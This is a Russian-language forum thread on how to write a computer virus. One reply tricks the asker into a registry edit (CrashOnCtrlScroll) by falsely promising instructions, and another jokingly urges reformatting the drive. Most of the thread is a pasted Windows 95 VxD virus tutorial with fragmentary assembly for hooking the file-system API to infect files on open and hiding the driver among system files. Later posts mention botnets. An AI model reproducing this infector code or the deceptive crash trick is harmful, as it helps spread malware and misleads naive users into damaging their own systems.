№1 переустанови вИнамп обнови виндоус медия плеер переустанови кс, поставь сталкер, если не пойдет дотку, после этого обнови 2005 квип на инфиум, и после этого переустанови виннду все атфарматировав
#1 Это очень легко!
Заходим в реестр (Пуск -> Выполнить -> regedit.exe) и находим ветку HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesi8042prtParameters. Там нажимаем правой кнопкой мыши по пустому месту в разделе Parameters и создаём "Параметр DWORD". Называем его CrashOnCtrlScroll, затем устанавливаем его значение равным 1.
Осталось перезагрузить компьютер и ты увидешь папку созданную на рабочем столе, там будет полное и подробное описание! Удачи!
Все вирусы так или иначе сводятся к бесконечным цыклам,идею я тебе подсказал,если ты полный чайник,то прочитай Шилда с++ 4-ое издание,кое-ему научишься
№26 Ну тогда подумай как можно создать бесконечный цыкл чтобы он не прерывался процесором,сам не осилил еще так что подробное описание как №19 не напишу
Инициализация в реальном режиме
-------------------------------
Это единственная чать VxD, которая исполняется в реальном режиме. Она
запускается в начале процесса загрузки и инициализации. Эта процедура может
быть использована чтобы предотвратить загрузку VxD, загрузку Windows, и т.д.
Мы будем испльзовать ее для проверки на резидентную часть, чтобы избежать
посторной загрузки VxDб если он уже загружен. VMM вызывает эту процедуру со
следующими параметрами:
AX -> номер версии VMM.
AH -> страшая версия.
AL -> младшая версия.
BX -> флаги при загрузке.
Duplicate_Device_ID -> VxD с таким-же ID уже загружен.
Duplicate_From_INT2F -> тоже самое, но от int 2Fh.
Loading_From_INT2F -> само себя обьясняет
ECX -> 32-bit укзатель, укзывающий на точку входа процедуры сервисов
инициализации, которая позволяет делать таие вещи как читать
регистри или SYSTEM.INI.
EDX -> укзатель на данные от int 2fh, или null.
SI -> сегмент енвиронмент, как он передан от MS-DOS.
Наш VxD может заставить VMM выполнить некоторые действия, такие как
резервирование физических страниц, возвращением следующих параметров:
AX -> действие.
Abort_Device_Load: это значение мы вернем, если VMM скажет нам
что VxD с таким-же VxD-ID уже загружен. Предотвращает загрузку
VxD, не беспокоя другие VxD.
Abort_Win386_Load: говорит VMM, что все полетело к чертям
собачьим, и что ему лучше совсем не загружать Windows
(что все равно скоро и так произойдет)
Device_Load_Ok: когда VMM получает это значение, он понимает
что инициализация идет без проблем, и процесс загрузки должен
продолжаться.
No_Fail_Message: это значение используется в комбинации с
Abort_Device_Load и Abort_Win386_Load чобы предотвратить
некоторые сообщения об ошибке, которые могут показываться при
отмене загрузки Win или VxD.
BX -> укзывает на массив с количеством страниц, резервируемых для
VxD. Этот массив заканчивается NULL и содержит страницы в пределах
от 0000h до 0100h. Если мы не хотим ничего резервировать, это
значение будет равно 0000h.
EDX -> данные описания, пока что зададим как 00000000h.
SI -> instance данные, тоже проставим в 0000h.
Интересные нам сервисы VMM
--------------------------
Менеджер Виртуальной Машины (VMM) - это сердце операционной системы, так как
он упавляет всеми виртуальными машинами. Кроме того, он предоставляет
некоторые сервисы, часть из которых я опишу в примерах:
Get_Cur_VM_Handle
-----------------
Возвращает в EBX хэндл виртуальной машины, которая исполняется сечас.
VMMcall Get_Cur_VM_Handle
mov [VM_handle],ebx
Get_Sys_VM_Handle
-----------------
Возвращает в EBX хэндл системной VM
VMMcall Get_Sys_VM_Handle
mov [SysVM_handle],ebx
Get_VMM_Version
---------------
Возвращает информацию о версии VMM.
VMMcall Get_VMM_Version
mov [Major],ah ; Стерший номер версии
mov [Minor],al ; Младший номер версии
mov [Debug],ecx ; Hомер ревизии
Get_Config_Directory
--------------------
Эта классная функция снабдит нас полным путем к каталогу, где Windows
хранит системные файлы (такие как SYSTEM.INI).
VMMcall Get_Config_Directory
mov [win_path],edx
Get_Exec_Path
-------------
Возвращает укзатель на путь, где Windows держит файл VMM32.VXD. Это
будет наилучшим каталогом для нашего вирусного VxD, где он будет скрыт
между системными файлами в SYSTEM.
Регистер ECX содержит число символов в строке, включая последний
обратный слэш "".
_HeapAllocate
-------------
Выделяет память в heap.
VMMcall _HeapAllocate,
or eax,eax ; eax = 00h если ошибка
jz not_allocated
mov [block_ptr], eax ; укзатель на выделенный блок
#bytes -> определяет сколько байт надо выделить
flags -> может содержать следующие флаги:
HEAPLOCKEDIFDP: выделяет блок памяти, который не будет
свопиться, если для свопирования будут использоваться функции
MS-DOS или BIOS
HEAPINIT: этот флаг может быть укзан только в процессе
инициализации. Он выделяет блок памяти, который будет
автоматически освобожден, как только инит будет закончен.
HEAPSWAP: блок выделяется в страничной (свопируемой) зоне
памяти.
HEAPZEROINIT: выделенный блок заполняется 00h
_HeapFree
---------
Освобождает блок памяти, который был выделен с помощью предыдущей
функции.
VMMcall _HeapFree,
or eax,eax ; eax = 00h если ошибка
jz error
Hook_V86_Int_Chain
------------------
Добавить новый обработчик в V86 прерывание. Вирус Gollum использует этот
сервис чтобы перехватить вызов int 21h.
mov eax,int_number ; Номер прерывания
mov esi,OFFSET32 my_handler ; укзатель на наш обработчик
VMMcall Hook_V86_Int_Chain
jc error ; Флаг переноса установлен
; при ошибке
Система будет вызывать новый обработчик примерно так:
mov eax,int_number ; Прерывание
mov ebx, VM ; Хэндл текущей VM
mov ebp, OFFSET32 crs ; укзатель на Client_Reg_Struc
call [my_handler]
jc pass_to_next ; Флаг переноса установлен если
; функция не обработана
У нас еще есть Unhook_V86_Int_Chain, чье предназначение - удалять
обработчики, такие как мы только что установили.
mov eax,int_number ; Номер прерывания
mov esi,OFFSET32 Hook_Proc ; Адрес процедуры, которая будет
; удалена из цепочки обработчиков
VMMcall Unhook_V86_Int_Chain
jc error ; Флаг переноса установлен
; при ошибке
Инсталлируемая Файловая Система (IFS)
-------------------------------------
Тут находятся все функции, которые мы частенько использовали в MS DOS, и
которые позволяют нам открывать файлы, читать их, и т.д ... Все это будет там,
где наш вирус перехватит все обращения ОС к файлам, и заразит их. Hо, давайте
будем последовательны.
Чтобы проделать все наши действия над файлами, мы воспользуемся сервисом,
который позволит нам выполнить такие простые операции как чтение, запись и тд.
Вот он:
mov eax,R0_OPENCREATFILE ; Функция, которую мы хотим вызвать
; Требуемые параметры
mov cx,0 ; - Аттрибуты
mov bx,2 ; - Флаги
mov dx,0011h ; - Действие и специальные флаги
mov esi,OFFSET32 filename ; - Угадайте чего??? ;)
VxDCall IFSMgr_Ring0_FileIO ; И наконец, сам вызов
Теперь единственная вещь, которую нам надо знать - как вызывать каждую
функцию, и как передавать ей параметры. Дальше приведены форматы вызовов
функций, которые мы будем использовать наиболее часто:
OpenCreateFile
--------------
Будем использовать эту функцию, чтобы открывать или создавать файлы.
Параметры вызова:
EAX -> функция R0_OPENCREATFILE
BX -> режим открытия и флаги *
CX -> аттрибуты
DH -> специальные флаги (R0_NO_CACHE, R0_SWAPPER_CALL)
DL -> действие, которое надо выполнить *
ESI -> укзатель на строку с именем файла
Возвращаемые значения:
если CF=0
EAX -> хэндл файла
ECX -> выполненное действие *
если CF=1 ошибка
* = Смотри int 21h функцию 6ch
ReadFile
--------
С помощью R0_READFILE мы будем читать из уже открытых (функцией
R0_OPENCREATEFILE) файлов. Она ждет от нас следующих параметров:
EAX -> R0_READFILE
EBX -> хэндл файлаа
ECX -> сколько байтов считать
EDX -> место в файле, где начать чтение
ESI -> укзаатель на буфер, куда данные будут помещены
На выходе:
если CF=0 то ECX = количество прочитанных байт
если CF=1 ошибка
WriteFile
---------
Ну да, запись в файл. Параметры:
EAX -> R0_WRITEFILE
EBX -> хэндл файла
ECX -> сколько байт записать
EDX -> место в файле, с которого начать запись
ESI -> укзатель на данные, которые мы хотим записать
На выходе:
если CF=0 то ECX = количество записанных байт
если CF=1 ошибка
CloseFile
---------
Понадобится, чтобы закрыть только что зараженный файл ;) Параметры:
EAX -> R0_CLOSEFILE
EBX -> хэндл файла
На выходе:
если CF=0 то файл был удачно закрыт
если CF=1 ошибка (AX = код ошибки)
GetFileSize
-----------
И почему я думаю, что она нам пригодится? Вызывайте с этими параметрами:
EAX -> R0_GETFILESIZE
EBX -> хэндл файла
В результате:
если CF=0 то EAX = размер файла в байтах
если CF=1 ошибка (AX = код ошибки)
Конечно, мы можем начать прямо сейчас... Однако, нам все еще нужны несколько
функций, таких как FileAttributes, RenameFile, DeleteFile, или
GetDiskFreeSpace. Как приятная неожиданность, - мы имеем еще
WriteAbsoluteDisk иd ReadAbsoluteDisk, чтобы все вокруг, если мы не
любим жесткие диски... ;)
Теперь мы уже знаем как работать с файлами. Нам надо знатьб как внедриться в
файловую систему, чтобы мы смогли следить за ее действиями. Мы будем
использовать IFS менеджер примерно так:
mov eax,OFFSET32 hook_procedure ;наш обработчик
push eax
VxDCall IFSMgr_InstallFileSystemApiHook
add esp,0004h
or eax,eax
jz error
mov dword ptr [prev_hook],eax ;адрес предыдущего
; Продолжаем процесс инициализации
clc
ret
error:
stc
ret
Так мы можем сообщить файловой системе адрес нашего обработчика. Посмотрим на
пример этого самого обработчика:
hook_procedure:
; Эти C-вызовы просто... рулят...
push ebp
mov ebp,esp
sub esp,20h
; С этого места, мы можем найти параметры
; используя стек
; ebp+00h -> сохраненное значение EBP.
; ebp+04h -> адрес возврата.
; ebp+08h -> адрес FSD функции, которая вызывается для
; этого API.
; ebp+0Ch -> номер функции, которую пытаются выполнить
; ebp+10h -> номер диска, на котором все происходит (1 = A:,
; -1 если UNC)
; ebp+14h -> тип диска
; ebp+18h -> кодовая страница, в которой юзер набрал свою сроку
; BCS_ANSI = ANSI, BCS_OEM = OEM
; ebp+1Ch -> укзатель на структуру вызова IFS менеджера (IOREQ)
; Всего 20h байт
; Следующее, что мы сделаем - проверим, не было ли это нашим
; собственным вызовом при заражении файла
; Использую флаг занятости, мы избежим бесконечного цикла.
cmp dword ptr [our_own_call],"BUSY"
je exit_FS_hook
; Здесь мы проверим, какая функция была вызвана
cmp dword ptr [ebp+0Ch],IFSFN_OPEN
je virus_OPEN_FILE
Каждая строка пути, которую IFS пропускает в FSD - записана в Unicode. Эти
канонизированные пути, немного отличаются от старого доброго COS (с которым
мы так хорошо знакомы ;)
Эта структура составлена из:
1 слово (WORD) содержащее длинну строки (включая это слово но без
завершающего нулевого (NULL) символа.
1 слово (WORD) содержащее смещение до той части строки, которая
описывает путь, каждый элемент пути содержит часть информации о пути
Различные элементы пути. Их структура составлена из 1 слова (WORD),
содержащего длинну (включая это самое слово) и следующую за ней
Unicode строку с именем этого элемента.
Все канонизированные пути содержат в себе полный путь от корневого каталога.
Сервисы Инсталлируемой Файловой Системы (IFS)
---------------------------------------------
Некоторые из этих сервисов имеют C-формат вызова, так что параметры хранятся в
стеке. Другие - написаны чтобы вызываться из ASM, и требуют загрузки
параметров в регистры. Единственный сервис, который будет полезен для нас
сейчас - IFSMgr _GetVersion, который позволит нам проверить версию IFS.
IFSMgr_GetVersion
На входе:
Ну нет никаких параметров тут
На выходе:
Если CF=0 то EAX содержит версию IFS менеджера
Если CF=1 ошибка
Обобщенный VxD вирус
--------------------
Это пример обобщенного VxD вируса, на который можно навесить дополнительный
код. Проект составлен из следующих файлов:
VIRUS.ASM ; ASM исходник VxD вируса
VIRUS.DEF ; Файл определения модулей
VIRUS.LNK ; Файл с инструкциями для линковщика
MAKEFILE ; Файл поекта
; С этого момента мы имеем путь и имя нашего VxD
; вируса прямо в Виндузевом каталоге SYSTEM ...
; Мы можем считать его в буфер, или копировать напрямую
; в процессе заражения файлов
; Следующий сервис вызывается чтобы перехватить API файловой системы.
; Он должен быть вызван, если VxD хочет наблюдать за вызовами API
; и делать с ними всякие интересные штуки.
; Менеджер IFS возвращает укзатель на следующий обработчик в цепочке
; Если этот вызов неудачен (памяти напрмер не хватило),
; то возвращается 0
add esp,00000004h
or eax,eax
jz error_device_init
mov dword ptr [Prev_IFS_Hook],eax
exit_device_init:
; Продолжить поцесс инициализации
clc
ret
error_device_init:
stc
ret
EndProc VXD_Device_Init
обработчик файлового API Virus''''а-95
BeginProc virus_FS_Monitor
; Используем C-соглашения о вызовах
push ebp
mov ebp,esp
sub esp,20h
; Параметы в стеке:
; ebp+00h -> сохраненное значение EBP.
; ebp+04h -> адрес возврата.
; ebp+08h -> адрес FSD функции, которая вызывается для
; этого API.
; ebp+0Ch -> номер функции, которую пытаются выполнить
; ebp+10h -> номер диска, на котором все происходит (1 = A:,
; -1 если UNC)
; ebp+14h -> тип диска
; ebp+18h -> кодовая страница, в которой юзер набрал свою сроку
; BCS_ANSI = ANSI, BCS_OEM = OEM
; ebp+1Ch -> укзатель на структуру вызова IFS менеджера (IOREQ)
; Всего 20h байт
; Проверим, а не обрабатывам-ли мы свой собственный вызов?
cmp dword ptr [our_own_call],"BUSY"
je exit_FS_hook
; Проверим на OPEN
; Эта функция так-же вызывается при исполнении файлов...
cmp dword ptr [ebp+0Ch],IFSFN_OPEN
je virus_OPEN_FILE
exit_FS_hook:
; Приготовим параметры для вызова предыдущего обработчика FS API
#25 >Все вирусы так или иначе сводятся к бесконечным цыклам
омг. это детские приколы 6-ти классников (говорю по себе, делали..) щас на вирусах бабло колотят, собирая компы в бот-неты.
берется си плюсы, пишется винапишный каркас, придумывается как внедриться в систему и как там проторчать подольше, как раскинуться во все места куда можно. уверяю тебя, нет смысла даже пытаться заниматься этим если не не про кодер, ибо антивирусы палят забавы школяров и студентов на раз.
В общем, создание хорошего вируса является "высшим пилотажем" программирования, и пока ты не освоишь последнее в полной мере у тебя ничего не получится. Начни с Delphi потом Си, переходи на ассемблер и через пару лет практики вопрос "Как создать вирус?" отпадет сам собой. Удачи. Хотя как мне кажется желание у тебя уже отпало